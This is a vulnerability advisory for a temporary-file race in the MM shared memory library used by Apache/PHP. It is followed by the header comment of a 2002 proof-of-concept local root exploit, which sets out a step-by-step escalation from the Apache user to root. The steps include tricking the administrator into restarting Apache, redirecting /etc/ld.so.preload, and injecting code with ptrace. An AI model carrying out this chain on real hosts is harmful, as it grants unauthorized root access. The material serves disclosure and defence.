The MM Shared Memory library is reported to be prone to a race condition with regards to temporary files which may enable a local attacker to gain elevated privileges. This issue may reportedly be exploited by an attacker with shell access as the Apache webserver user to gain root privileges on a vulnerable host. 

/*** scalpel.c -- local apache/PHP root via libmm (apache-user -> root)
 ***
 *** (C) 2002 Sebastian Krahmer proof of concept exploit.
 ***
 *** Exploiting conditions:
 ***
 *** Apache is linked against libmm which has /tmp races.
 *** Upon Apache start or restart code is executed like
 *** unlink("/tmp/session_mm.sem"); open("/tmp/session_mm.sem", O_RDWR|O_CREAT).
 *** If attacker exploited any CGI or PHP script remotely he gained
 *** apache-user and can go one step further to get root by:
 ***
 *** 1) STOPing all httpd's and bring root to execute /etc/rc.d/apache restart
 ***    Its very likely root does so because webserver just doesnt work anymore
 ***    (all childs are STOPed). One can also send him fake-mail
 ***    from httpd-watchdog that he has to invoke the command.
 *** 2) Install signal-handler and using 2.4 directory notifying to see when
 ***    /tmp/session_mm.sem is unlinked. Create link to /etc/ld.so.preload
 ***    immediately which makes Apache creating that file.
 *** 3) Trigger execution of a CGI script where Apache leaks a descriptor
 ***    (r+w) to /etc/ld.so.preload to the child.
 *** 4) Ptrace that script, inject code which writes content to preload-file.
 *** 5) Execute suid-helper to execute code as root.
 ***
 *** Note in 4) that we cant ptrace httpd alone because it setuid'ed from root
 *** to apache-user thus setting id-changed flag. By triggering execve() of
 *** a CGI script this flag is cleared and we can hijack process.
 ***
 *** assert(must-be-apache-user && must-have-a-cgi-script-installed &&
 ***        must-bring-root-to-restart-apache);
